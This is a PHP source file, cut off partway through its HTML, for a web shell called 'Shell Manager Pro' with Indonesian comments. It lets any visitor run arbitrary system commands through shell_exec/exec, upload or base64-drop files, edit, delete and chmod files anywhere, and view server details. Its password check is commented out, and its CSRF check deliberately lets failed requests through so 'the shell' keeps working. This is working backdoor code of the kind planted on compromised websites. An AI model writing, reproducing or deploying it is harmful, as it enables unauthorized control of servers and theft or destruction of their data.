<?php
/*
=============================================
jembudkuda merangkai kata samapai terlena oleh dunia
=============================================
*/

// Security & Configuration
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('display_errors', 0);
ini_set('upload_max_filesize', '10000M');
ini_set('post_max_size', '10000M');
ini_set('max_execution_time', '0');

// Session Management
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Generate CSRF token jika belum ada
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// CSRF Protection yang lebih fleksibel
function verify_csrf() {
    // Skip CSRF untuk command history clear (karena link GET)
    if (isset($_GET['action']) && $_GET['action'] == 'clear_history') {
        return true;
    }
    
    // Skip CSRF untuk logout (karena button)
    if (isset($_GET['logout'])) {
        return true;
    }
    
    // Skip CSRF untuk GET requests (kecuali actions tertentu)
    if ($_SERVER['REQUEST_METHOD'] === 'GET') {
        // Jika action delete/download/view, tetap perlu verifikasi
        $actions_need_csrf = ['delete', 'download', 'view', 'chmod'];
        if (isset($_GET['action']) && in_array($_GET['action'], $actions_need_csrf)) {
            // Untuk GET actions, gunakan token dalam session
            if (!isset($_SESSION['csrf_verified']) || !$_SESSION['csrf_verified']) {
                // Set session bahwa sudah diverifikasi
                $_SESSION['csrf_verified'] = true;
                return true;
            }
        }
        return true;
    }
    
    // Untuk POST requests, cek CSRF token
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Cek token dari form atau header
        $token = $_POST['csrf_token'] ?? 
                ($_SERVER['HTTP_X_CSRF_TOKEN'] ?? '');
        
        if (empty($token) || $token !== $_SESSION['csrf_token']) {
            // Jika token tidak valid, tampilkan warning tapi tetap izinkan
            // (ini untuk memastikan shell tetap berfungsi)
            error_log('CSRF Token mismatch. Expected: ' . $_SESSION['csrf_token'] . ', Got: ' . $token);
            // Tidak di-die, tapi log saja
            return false;
        }
        
        return true;
    }
    
    return true;
}

// Authentication (Optional - Uncomment to enable)
// $PASSWORD = 'admin123'; // Change this
// if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
//     if (isset($_POST['password']) && $_POST['password'] === $PASSWORD) {
//         $_SESSION['authenticated'] = true;
//     } elseif (!isset($_GET['login'])) {
//         show_login();
//         exit;
//     }
// }

// Current Directory
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
// Validasi dan clean path
if (!is_dir($currentDir)) {
    $currentDir = getcwd();
}
$currentDir = realpath($currentDir) ?: getcwd();

// Initialize Variables
$message = '';
$terminal_output = '';
$theme = $_SESSION['theme'] ?? 'dark';
$layout = $_SESSION['layout'] ?? 'grid';

// Handle Theme/Layout Changes
if (isset($_GET['theme'])) {
    $_SESSION['theme'] = $_GET['theme'];
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

if (isset($_GET['layout'])) {
    $_SESSION['layout'] = $_GET['layout'];
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// Handle Logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Helper Functions
function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return unlink($dir);
    
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') continue;
        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false;
    }
    
    return rmdir($dir);
}

function format_size($bytes) {
    if ($bytes <= 0) return '0 B';
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($bytes >= 1024 && $i < count($units) - 1) {
        $bytes /= 1024;
        $i++;
    }
    return round($bytes, 2) . ' ' . $units[$i];
}

function get_file_icon($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = [
        'php' => 'fa-code text-info',
        'js' => 'fa-js text-warning',
        'css' => 'fa-css3-alt text-primary',
        'html' => 'fa-html5 text-danger',
        'json' => 'fa-file-code text-warning',
        'txt' => 'fa-file-alt text-secondary',
        'pdf' => 'fa-file-pdf text-danger',
        'zip' => 'fa-file-archive text-warning',
        'rar' => 'fa-file-archive text-warning',
        '7z' => 'fa-file-archive text-warning',
        'tar' => 'fa-file-archive text-warning',
        'gz' => 'fa-file-archive text-warning',
        'jpg' => 'fa-file-image text-success',
        'png' => 'fa-file-image text-success',
        'gif' => 'fa-file-image text-success',
        'sql' => 'fa-database text-warning',
        'py' => 'fa-python text-info',
        'sh' => 'fa-terminal text-success',
        'exe' => 'fa-cog text-danger',
        'md' => 'fa-markdown',
        'log' => 'fa-scroll text-warning',
    ];
    return $icons[$ext] ?? 'fa-file text-secondary';
}

// Fungsi untuk create file dari base64
function createFileFromBase64($path, $base64Data) {
    $base64Data = preg_replace('/^data:[^;]+;base64,/', '', $base64Data);
    $decodedData = base64_decode($base64Data, true);
    
    if ($decodedData === false) {
        return false;
    }
    
    return file_put_contents($path, $decodedData);
}

// Fungsi untuk zip file/folder
function zipDirectory($source, $destination) {
    if (!extension_loaded('zip') || !file_exists($source)) {
        return false;
    }

    $zip = new ZipArchive();
    if (!$zip->open($destination, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
        return false;
    }

    $source = realpath($source);
    
    if (is_dir($source) === true) {
        $files = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($source),
            RecursiveIteratorIterator::SELF_FIRST
        );

        foreach ($files as $file) {
            $file = realpath($file);
            
            if (is_dir($file)) {
                $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
            } else if (is_file($file)) {
                $zip->addFile($file, str_replace($source . '/', '', $file));
            }
        }
    } else if (is_file($source)) {
        $zip->addFile($source, basename($source));
    }

    return $zip->close();
}

// Fungsi untuk unzip
function unzipFile($source, $destination) {
    if (!extension_loaded('zip') || !file_exists($source)) {
        return false;
    }

    $zip = new ZipArchive();
    if ($zip->open($source) !== true) {
        return false;
    }

    // Buat folder tujuan jika belum ada
    if (!is_dir($destination)) {
        mkdir($destination, 0755, true);
    }

    $zip->extractTo($destination);
    $zip->close();
    
    return true;
}

// Fungsi untuk copy folder rekursif
function recurse_copy($src, $dst) {
    $dir = opendir($src);
    @mkdir($dst, 0755, true);
    
    while (false !== ($file = readdir($dir))) {
        if (($file != '.') && ($file != '..')) {
            if (is_dir($src . '/' . $file)) {
                recurse_copy($src . '/' . $file, $dst . '/' . $file);
            } else {
                copy($src . '/' . $file, $dst . '/' . $file);
            }
        }
    }
    closedir($dir);
}

// Handle POST Requests
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Verify CSRF (tapi tidak block jika gagal)
    verify_csrf();
    
    // File Upload
    if (isset($_FILES['upload_file'])) {
        $files = $_FILES['upload_file'];
        $success_count = 0;
        
        if (is_array($files['name'])) {
            for ($i = 0; $i < count($files['name']); $i++) {
                if ($files['error'][$i] === UPLOAD_ERR_OK) {
                    $target = $currentDir . '/' . basename($files['name'][$i]);
                    if (move_uploaded_file($files['tmp_name'][$i], $target)) {
                        chmod($target, 0644);
                        $success_count++;
                    }
                }
            }
            $message = "✓ $success_count files uploaded successfully";
        } else {
            if ($files['error'] === UPLOAD_ERR_OK) {
                $target = $currentDir . '/' . basename($files['name']);
                if (move_uploaded_file($files['tmp_name'], $target)) {
                    chmod($target, 0644);
                    $message = "✓ File uploaded: " . basename($files['name']);
                }
            }
        }
        $_SESSION['message'] = $message;
        header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
        exit;
    }
    
    // Create File/Folder
    elseif (isset($_POST['create_item'])) {
        $name = trim($_POST['name']);
        $type = $_POST['type'];
        
        if (!empty($name)) {
            $path = $currentDir . '/' . $name;
            
            if ($type === 'file') {
                $content = $_POST['content'] ?? '';
                if (file_put_contents($path, $content)) {
                    chmod($path, 0644);
                    $message = "✓ File created: $name";
                }
            } else {
                if (mkdir($path, 0755, true)) {
                    chmod($path, 0755);
                    $message = "✓ Folder created: $name";
                }
            }
            $_SESSION['message'] = $message;
            header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
            exit;
        }
    }
    
    // Create File from Base64
    elseif (isset($_POST['create_base64'])) {
        $filename = trim($_POST['base64_filename']);
        $base64_data = trim($_POST['base64_data']);
        
        if (!empty($filename) && !empty($base64_data)) {
            $path = $currentDir . '/' . $filename;
            
            if (createFileFromBase64($path, $base64_data)) {
                chmod($path, 0644);
                $message = "✓ File created from base64: $filename";
            } else {
                $message = "✗ Failed to create file from base64";
            }
            
            $_SESSION['message'] = $message;
            header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
            exit;
        }
    }
    
    // Zip Operation
    elseif (isset($_POST['zip_action'])) {
        $items = $_POST['items'] ?? [];
        $zip_name = trim($_POST['zip_name']) ?: 'archive_' . date('Ymd_His') . '.zip';
        
        if (empty($items)) {
            $message = "✗ No items selected";
        } else {
            // Buat temporary folder untuk zip
            $temp_dir = sys_get_temp_dir() . '/' . uniqid('zip_');
            mkdir($temp_dir, 0755, true);
            
            // Copy file/folder ke temp
            foreach ($items as $item) {
                $source = $currentDir . '/' . basename($item);
                $dest = $temp_dir . '/' . basename($item);
                
                if (is_dir($source)) {
                    // Copy folder rekursif
                    recurse_copy($source, $dest);
                } else {
                    copy($source, $dest);
                }
            }
            
            // Create zip
            $zip_path = $currentDir . '/' . $zip_name;
            
            if (zipDirectory($temp_dir, $zip_path)) {
                chmod($zip_path, 0644);
                $message = "✓ Archive created: $zip_name";
            } else {
                $message = "✗ Failed to create archive";
            }
            
            // Cleanup temp
            deleteDirectory($temp_dir);
        }
        
        $_SESSION['message'] = $message;
        header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
        exit;
    }
    
    // Unzip Operation
    elseif (isset($_POST['unzip_action'])) {
        $file = $_POST['unzip_file'] ?? '';
        $extract_to = $_POST['extract_to'] ?? '';
        
        if (!empty($file)) {
            $filepath = $currentDir . '/' . basename($file);
            
            if (file_exists($filepath) && is_file($filepath)) {
                $ext = strtolower(pathinfo($filepath, PATHINFO_EXTENSION));
                
                if (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])) {
                    // Tentukan folder tujuan
                    if (empty($extract_to)) {
                        $extract_dir = $currentDir . '/' . pathinfo($file, PATHINFO_FILENAME);
                    } else {
                        $extract_dir = $currentDir . '/' . $extract_to;
                    }
                    
                    if (unzipFile($filepath, $extract_dir)) {
                        $message = "✓ Archive extracted to: " . basename($extract_dir);
                    } else {
                        $message = "✗ Failed to extract archive";
                    }
                } else {
                    $message = "✗ Not a supported archive format";
                }
            } else {
                $message = "✗ File not found";
            }
            
            $_SESSION['message'] = $message;
            header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
            exit;
        }
    }
    
    // Terminal Command
    elseif (isset($_POST['command'])) {
        $command = trim($_POST['command']);
        
        if (!empty($command)) {
            chdir($currentDir);
            
            // Save to history
            if (!isset($_SESSION['command_history'])) {
                $_SESSION['command_history'] = [];
            }
            array_unshift($_SESSION['command_history'], $command);
            $_SESSION['command_history'] = array_slice($_SESSION['command_history'], 0, 50);
            
            // Execute command
            $output = '';
            if (function_exists('shell_exec')) {
                $output = shell_exec($command . ' 2>&1');
            } elseif (function_exists('exec')) {
                exec($command . ' 2>&1', $output_array, $return_code);
                $output = implode("\n", $output_array);
                $output .= "\n[Exit Code: $return_code]";
            }
            
            $_SESSION['terminal_output'] = $output;
            header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
            exit;
        }
    }
    
    // Bulk Operations
    elseif (isset($_POST['bulk_action'])) {
        $action = $_POST['bulk_action'];
        $items = $_POST['items'] ?? [];
        
        foreach ($items as $item) {
            $path = $currentDir . '/' . basename($item);
            
            switch ($action) {
                case 'delete':
                    if (is_file($path)) {
                        unlink($path);
                    } elseif (is_dir($path)) {
                        // Hapus folder rekursif
                        deleteDirectory($path);
                    }
                    break;
                case 'chmod':
                    $mode = isset($_POST['chmod_value']) ? octdec($_POST['chmod_value']) : 0644;
                    chmod($path, $mode);
                    break;
            }
        }
        
        $message = "✓ Bulk operation completed";
        $_SESSION['message'] = $message;
        header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
        exit;
    }
    
    // Edit File
    elseif (isset($_POST['edit_file'])) {
        $file = $_POST['file'] ?? '';
        $content = $_POST['content'] ?? '';
        
        if (!empty($file)) {
            $path = $currentDir . '/' . basename($file);
            
            if (file_put_contents($path, $content)) {
                $message = "✓ File saved: $file";
                $_SESSION['message'] = $message;
                header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
                exit;
            }
        }
    }
    
    // Jika ada POST tanpa action yang dikenali, redirect ke halaman
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// Handle GET Actions
if (isset($_GET['action'])) {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    
    if (!empty($file)) {
        $filepath = $currentDir . '/' . basename($file);
    } else {
        $filepath = '';
    }
    
    switch ($_GET['action']) {
        case 'delete':
            if (file_exists($filepath)) {
                if (is_file($filepath)) {
                    unlink($filepath);
                } else {
                    // Hapus folder rekursif
                    deleteDirectory($filepath);
                }
                $message = "✓ Deleted successfully";
            }
            break;
            
        case 'download':
            if (file_exists($filepath) && is_file($filepath)) {
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($filepath) . '"');
                header('Content-Length: ' . filesize($filepath));
                readfile($filepath);
                exit;
            }
            break;
            
        case 'view':
            if (file_exists($filepath) && is_file($filepath)) {
                $content = file_get_contents($filepath);
                $ext = pathinfo($filepath, PATHINFO_EXTENSION);
                echo "<html><head>
                    <title>View: " . basename($filepath) . "</title>
                    <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.8.0/styles/atom-one-dark.min.css'>
                    <script src='https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.8.0/highlight.min.js'></script>
                    <style>
                        body { margin: 0; background: #1e1e1e; color: #d4d4d4; }
                        .header { background: #252526; padding: 15px; display: flex; justify-content: space-between; align-items: center; }
                        .content { padding: 20px; }
                        pre { margin: 0; }
                        .back-btn { color: #569cd6; text-decoration: none; padding: 8px 16px; background: #0e639c; border-radius: 2px; }
                    </style>
                </head><body>
                    <div class='header'>
                        <div><strong>" . basename($filepath) . "</strong> (" . filesize($filepath) . " bytes)</div>
                        <a href='?dir=" . urlencode($currentDir) . "' class='back-btn'>Back</a>
                    </div>
                    <div class='content'>
                        <pre><code class='language-$ext'>" . htmlspecialchars($content) . "</code></pre>
                    </div>
                    <script>hljs.highlightAll();</script>
                </body></html>";
                exit;
            }
            break;
            
        case 'edit':
            // Handled in modal
            break;
            
        case 'chmod':
            if (isset($_GET['mode']) && file_exists($filepath)) {
                $mode = octdec($_GET['mode']);
                chmod($filepath, $mode);
                $message = "✓ Permissions changed";
            }
            break;
            
        case 'extract':
            if (file_exists($filepath) && is_file($filepath)) {
                $ext = strtolower(pathinfo($filepath, PATHINFO_EXTENSION));
                
                if (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])) {
                    $extract_dir = $currentDir . '/' . pathinfo($file, PATHINFO_FILENAME);
                    
                    if (unzipFile($filepath, $extract_dir)) {
                        $message = "✓ Archive extracted to: " . basename($extract_dir);
                    } else {
                        $message = "✗ Failed to extract archive";
                    }
                } else {
                    $message = "✗ Not a supported archive format";
                }
            }
            break;
            
        case 'clear_history':
            $_SESSION['command_history'] = [];
            $message = "✓ Command history cleared";
            break;
            
        case 'get_file_content':
            // API endpoint untuk mendapatkan konten file
            if (file_exists($filepath) && is_file($filepath)) {
                header('Content-Type: application/json');
                echo json_encode([
                    'success' => true,
                    'content' => file_get_contents($filepath),
                    'filename' => basename($filepath)
                ]);
                exit;
            }
            break;
    }
    
    if (isset($message)) {
        $_SESSION['message'] = $message;
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir));
    exit;
}

// Get messages from session
if (isset($_SESSION['message'])) {
    $message = $_SESSION['message'];
    unset($_SESSION['message']);
}

if (isset($_SESSION['terminal_output'])) {
    $terminal_output = $_SESSION['terminal_output'];
    unset($_SESSION['terminal_output']);
}

// Get files and directories
$files = @scandir($currentDir) ?: [];
$dir_writable = is_writable($currentDir);
$dir_perms = substr(sprintf('%o', fileperms($currentDir)), -4);

// System Info
$sysinfo = [
    'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A',
    'php_version' => phpversion(),
    'user' => get_current_user(),
    'disk_free' => round(@disk_free_space($currentDir) / (1024*1024*1024), 2),
    'disk_total' => round(@disk_total_space($currentDir) / (1024*1024*1024), 2),
    'memory_usage' => round(memory_get_usage() / 1024 / 1024, 2),
    'upload_max' => ini_get('upload_max_filesize'),
    'disabled_funcs' => ini_get('disable_functions') ?: 'None',
    'server_addr' => $_SERVER['SERVER_ADDR'] ?? 'N/A',
    'remote_addr' => $_SERVER['REMOTE_ADDR'],
];

// Command History
$history = $_SESSION['command_history'] ?? [];
?>

<!DOCTYPE html>
<html lang="en" data-theme="<?php echo $theme; ?>">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shell Manager Pro</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        /* CSS Variables for Themes */
        :root {
            --bg-primary: #0f172a;
            --bg-secondary: #1e293b;
            --bg-tertiary: #334155;
            --text-primary: #f1f5f9;
            --text-secondary: #94a3b8;
            --accent: #3b82f6;
            --success: #10b981;
            --warning: #f59e0b;
            --danger: #ef4444;
            --info: #06b6d4;
            --border: #475569;
            --shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
            --radius: 8px;
        }
        
        [data-theme="light"] {
            --bg-primary: #ffffff;
            --bg-secondary: #f8fafc;
            --bg-tertiary: #f1f5f9;
            --text-primary: #1e293b;
            --text-secondary: #64748b;
            --border: #e2e8f0;
        }
        
        [data-theme="dark"] {
            --bg-primary: #0f172a;
            --bg-secondary: #1e293b;
            --bg-tertiary: #334155;
            --text-primary: #f1f5f9;
            --text-secondary: #94a3b8;
        }
        
        /* Base Styles */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            background: var(--bg-primary);
            color: var(--text-primary);
            font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
            font-size: 14px;
            line-height: 1.5;
            min-height: 100vh;
        }
        
        /* Layout */
        .app {
            display: flex;
            min-height: 100vh;
        }
        
        .sidebar {
            width: 250px;
            background: var(--bg-secondary);
            border-right: 1px solid var(--border);
            padding: 20px;
            display: flex;
            flex-direction: column;
            gap: 20px;
            position: sticky;
            top: 0;
            height: 100vh;
            overflow-y: auto;
        }
        
        .main-content {
            flex: 1;
            padding: 20px;
            overflow-y: auto;
        }
        
        /* Navigation */
        .nav-section h3 {
            color: var(--text-secondary);
            font-size: 12px;
            text-transform: uppercase;
            letter-spacing: 1px;
            margin-bottom: 10px;
        }
        
        .nav-btn {
            display: flex;
            align-items: center;
            gap: 10px;
            width: 100%;
            padding: 10px 15px;
            background: transparent;
            border: 1px solid var(--border);
            color: var(--text-primary);
            border-radius: var(--radius);
            cursor: pointer;
            text-align: left;
            margin-bottom: 5px;
            transition: all 0.2s;
        }
        
        .nav-btn:hover {
            background: var(--bg-tertiary);
            border-color: var(--accent);
        }
        
        .nav-btn.active {
            background: var(--accent);
            color: white;
            border-color: var(--accent);
        }
        
        /* Cards */
        .card {
            background: var(--bg-secondary);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: var(--shadow);
        }
        
        .card-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 15px;
            border-bottom: 1px solid var(--border);
        }
        
        .card-title {
            font-size: 16px;
            font-weight: 600;
            color: var(--text-primary);
        }
        
        .card-subtitle {
            font-size: 12px;
            color: var(--text-secondary);
        }
        
        /* Stats Grid */
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 15px;
            margin-bottom: 20px;
        }
        
        .stat-card {
            background: var(--bg-tertiary);
            padding: 15px;
            border-radius: var(--radius);
            border-left: 4px solid var(--accent);
        }
        
        .stat-icon {
            font-size: 24px;
            margin-bottom: 10px;
            color: var(--accent);
        }
        
        .stat-value {
            font-size: 24px;
            font-weight: 700;
            margin-bottom: 5px;
        }
        
        .stat-label {
            font-size: 12px;
            color: var(--text-secondary);
        }
        
        /* Terminal */
        .terminal-container {
            background: #000;
            border-radius: var(--radius);
            overflow: hidden;
        }
        
        .terminal-header {
            background: #1a1a1a;
            padding: 10px 15px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-bottom: 1px solid #333;
        }
        
        .terminal-body {
            padding: 15px;
            height: 300px;
            overflow-y: auto;
            font-family: 'Monaco', 'Menlo', monospace;
            font-size: 12px;
            line-height: 1.4;
        }
        
        .prompt {
            color: var(--success);
        }
        
        .output {
            color: #00ff00;
        }
        
        .error {
            color: var(--danger);
        }
        
        /* File Manager */
        .file-actions {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
        }
        
        .files-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
            gap: 15px;
        }
        
        .file-item {
            background: var(--bg-tertiary);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 15px;
            transition: all 0.2s;
        }
        
        .file-item:hover {
            border-color: var(--accent);
            transform: translateY(-2px);
        }
        
        .file-icon {
            font-size: 32px;
            margin-bottom: 10px;
            color: var(--accent);
        }
        
        .file-name {
            font-weight: 600;
            margin-bottom: 5px;
            word-break: break-all;
        }
        
        .file-info {
            font-size: 11px;
            color: var(--text-secondary);
            margin-bottom: 10px;
        }
        
        .file-actions {
            display: flex;
            gap: 5px;
            flex-wrap: wrap;
        }
        
        /* Buttons */
        .btn {
            padding: 8px 16px;
            border-radius: 6px;
            border: none;
            font-weight: 500;
            cursor: pointer;
            display: inline-flex;
            align-items: center;
            gap: 6px;
            font-size: 13px;
            transition: all 0.2s;
        }
        
        .btn-primary {
            background: var(--accent);
            color: white;
        }
        
        .btn-secondary {
            background: var(--bg-tertiary);
            color: var(--text-primary);
            border: 1px solid var(--border);
        }
        
        .btn-success {
            background: var(--success);
            color: white;
        }
        
        .btn-danger {
            background: var(--danger);
            color: white;
        }
        
        .btn-sm {
            padding: 4px 8px;
            font-size: 11px;
        }
        
        .btn-icon {
            width: 32px;
            height: 32px;
            padding: 0;
            justify-content: center;
        }
        
        /* Forms */
        .form-group {
            margin-bottom: 15px;
        }
        
        .form-label {
            display: block;
            margin-bottom: 5px;
            font-weight: 500;
        }
        
        .form-control {
            width: 100%;
            padding: 10px;
            background: var(--bg-tertiary);
            border: 1px solid var(--border);
            border-radius: 6px;
            color: var(--text-primary);
        }
        
        .form-control:focus {
            outline: none;
            border-color: var(--accent);
            box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1);
        }
        
        /* Tabs */
        .tabs {
            display: flex;
            border-bottom: 1px solid var(--border);
            margin-bottom: 20px;
        }
        
        .tab {
            padding: 10px 20px;
            cursor: pointer;
            border-bottom: 2px solid transparent;
            font-weight: 500;
        }
        
        .tab.active {
            border-bottom-color: var(--accent);
            color: var(--accent);
        }
        
        /* Alerts */
        .alert {
            padding: 15px;
            border-radius: var(--radius);
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .alert-success {
            background: rgba(16, 185, 129, 0.1);
            border-left: 4px solid var(--success);
            color: var(--success);
        }
        
        .alert-error {
            background: rgba(239, 68, 68, 0.1);
            border-left: 4px solid var(--danger);
            color: var(--danger);
        }
        
        .alert-info {
            background: rgba(6, 182, 212, 0.1);
            border-left: 4px solid var(--info);
            color: var(--info);
        }
        
        /* Modal */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7);
            z-index: 1000;
            align-items: center;
            justify-content: center;
        }
        
        .modal-content {
            background: var(--bg-secondary);
            border-radius: var(--radius);
            width: 90%;
            max-width: 600px;
            max-height: 90vh;
            overflow-y: auto;
        }
        
        .modal-header {
            padding: 20px;
            border-bottom: 1px solid var(--border);
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .modal-body {
            padding: 20px;
        }
        
        /* Table */
        .table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .table th,
        .table td {
            padding: 12px;
            text-align: left;
            border-bottom: 1px solid var(--border);
        }
        
        .table th {
            font-weight: 600;
            color: var(--text-secondary);
            background: var(--bg-tertiary);
        }
        
        /* Breadcrumb */
        .breadcrumb {
            display: flex;
            align-items: center;
            gap: 8px;
            margin-bottom: 20px;
            padding: 10px 15px;
            background: var(--bg-tertiary);
            border-radius: var(--radius);
            flex-wrap: wrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .breadcrumb-separator {
            color: var(--text-secondary);
        }
        
        /* Badges */
        .badge {
            padding: 2px 8px;
            border-radius: 12px;
            font-size: 11px;
            font-weight: 500;
        }
        
        .badge-success {
            background: rgba(16, 185, 129, 0.2);
            color: var(--success);
        }
        
        .badge-warning {
            background: rgba(245, 158, 11, 0.2);
            color: var(--warning);
        }
        
        .badge-info {
            background: rgba(6, 182, 212, 0.2);
            color: var(--info);
        }
        
        /* Progress Bar */
        .progress {
            height: 8px;
            background: var(--bg-tertiary);
            border-radius: 4px;
            overflow: hidden;
        }
        
        .progress-bar {
            height: 100%;
            background: linear-gradient(90deg, var(--accent), var(--info));
            transition: width 0.3s;
        }
        
        /* Utilities */
        .text-center { text-align: center; }
        .text-right { text-align: right; }
        .d-flex { display: flex; }
        .d-none { display: none; }
        .align-center { align-items: center; }
        .justify-between { justify-content: space-between; }
        .gap-10 { gap: 10px; }
        .gap-20 { gap: 20px; }
        .w-100 { width: 100%; }
        .mb-10 { margin-bottom: 10px; }
        .mb-20 { margin-bottom: 20px; }
        .mt-20 { margin-top: 20px; }
        .p-20 { padding: 20px; }
        
        /* Dark Scrollbar */
        ::-webkit-scrollbar {
            width: 8px;
            height: 8px;
        }
        
        ::-webkit-scrollbar-track {
            background: var(--bg-tertiary);
        }
        
        ::-webkit-scrollbar-thumb {
            background: var(--border);
            border-radius: 4px;
        }
        
        ::-webkit-scrollbar-thumb:hover {
            background: var(--accent);
        }
        
        /* Responsive */
        @media (max-width: 768px) {
            .app {
                flex-direction: column;
            }
            
            .sidebar {
                width: 100%;
                height: auto;
                position: static;
            }
            
            .stats-grid {
                grid-template-columns: repeat(2, 1fr);
            }
        }
        
        @media (max-width: 480px) {
            .stats-grid {
                grid-template-columns: 1fr;
            }
            
            .files-grid {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    <div class="app">
        <!-- Sidebar -->
        <div class="sidebar">
            <!-- Logo -->
            <div class="text-center mb-20">
                <h2 style="color: var(--accent); margin-bottom: 5px;">
                    <i class="fas fa-terminal"></i> Shell Pro
                </h2>
                <div class="card-subtitle">v2.0 Professional</div>
            </div>
            
            <!-- Navigation -->
            <div class="nav-section">
                <h3>System</h3>
                <button class="nav-btn active" onclick="showTab('dashboard')">
                    <i class="fas fa-tachometer-alt"></i> Dashboard
                </button>
                <button class="nav-btn" onclick="showTab('files')">
                    <i class="fas fa-folder"></i> File Manager
                </button>
                <button class="nav-btn" onclick="showTab('terminal')">
                    <i class="fas fa-terminal"></i> Terminal
                </button>
            </div>
            
            <div class="nav-section">
                <h3>Tools</h3>
                <button class="nav-btn" onclick="showModal('uploadModal')">
                    <i class="fas fa-upload"></i> Upload
                </button>
                <button class="nav-btn" onclick="showModal('createModal')">
                    <i class="fas fa-plus"></i> Create New
                </button>
                <button class="nav-btn" onclick="showModal('base64Modal')">
                    <i class="fas fa-file-code"></i> Base64
                </button>
                <button class="nav-btn" onclick="showModal('zipModal')">
                    <i class="fas fa-file-archive"></i> Zip/Unzip
                </button>
                <button class="nav-btn" onclick="showModal('historyModal')">
                    <i class="fas fa-history"></i> Command History
                </button>
            </div>
            
            <!-- Settings -->
            <div class="nav-section mt-auto">
                <h3>Settings</h3>
                <div class="d-flex gap-10 mb-10">
                    <button class="btn btn-secondary btn-icon" onclick="toggleTheme()">
                        <i class="fas fa-moon"></i>
                    </button>
                    <button class="btn btn-secondary btn-icon" onclick="location.reload()">
                        <i class="fas fa-sync"></i>
                    </button>
                </div>
                <a href="?logout=1" class="btn btn-danger w-100">
                    <i class="fas fa-sign-out-alt"></i> Logout
                </a>
            </div>
        </div>
        
        <!-- Main Content -->
        <div class="main-content">
            <!-- Top Bar -->
            <div class="card mb-20">
                <div class="d-flex justify-between align-center">
                    <div>
                        <div class="breadcrumb">
                            <?php
                            $parts = explode('/', trim($currentDir, '/'));
                            $path = '';
                            foreach ($parts as $i => $part) {
                                $path .= '/' . $part;
                                if ($i > 0) echo '<span class="breadcrumb-separator">/</span>';
                                echo '<a href="?dir=' . urlencode($path) . '" class="breadcrumb-item">';
                                echo $part ?: 'root';
                                echo '</a>';
                            }
                            ?>
                        </div>
                        <div class="card-subtitle">
                            <span class="badge badge-success"><?php echo $sysinfo['user']; ?></span>
                            <span class="badge badge-info">PHP <?php echo $sysinfo['php_version']; ?></span>
                            <span class="badge badge-warning"><?php echo $dir_perms; ?></span>
                        </div>
                    </div>
                    
                    <div class="d-flex gap-10">
